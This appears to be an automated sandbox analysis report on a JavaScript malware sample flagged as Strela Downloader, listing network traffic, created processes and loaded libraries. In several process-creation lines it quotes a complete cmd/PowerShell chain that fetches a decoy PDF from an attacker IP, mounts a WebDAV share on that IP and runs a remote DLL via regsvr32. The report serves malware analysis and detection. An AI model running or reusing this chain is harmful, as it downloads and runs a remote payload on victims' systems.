TCP traffic: 192.168.2.10:49725 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49707 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000005.00000003.1278240960.000001D1B7E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1340075275.000001740762A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1352660121.000001740762C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: net.exe, 0000000D.00000003.1340409710.000001740760B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1351281154.000001740760B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 0000000D.00000002.1347659629.00000174075E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceX
Source: svchost.exe, 0000000F.00000002.2574228917.000001DBE70D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000F.00000003.1343102729.000001DBEC800000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8000, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 525931685256721403.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7432:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxvfvvcb.jrl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,7857329049339581879,4952565180670200298,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,7857329049339581879,4952565180670200298,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
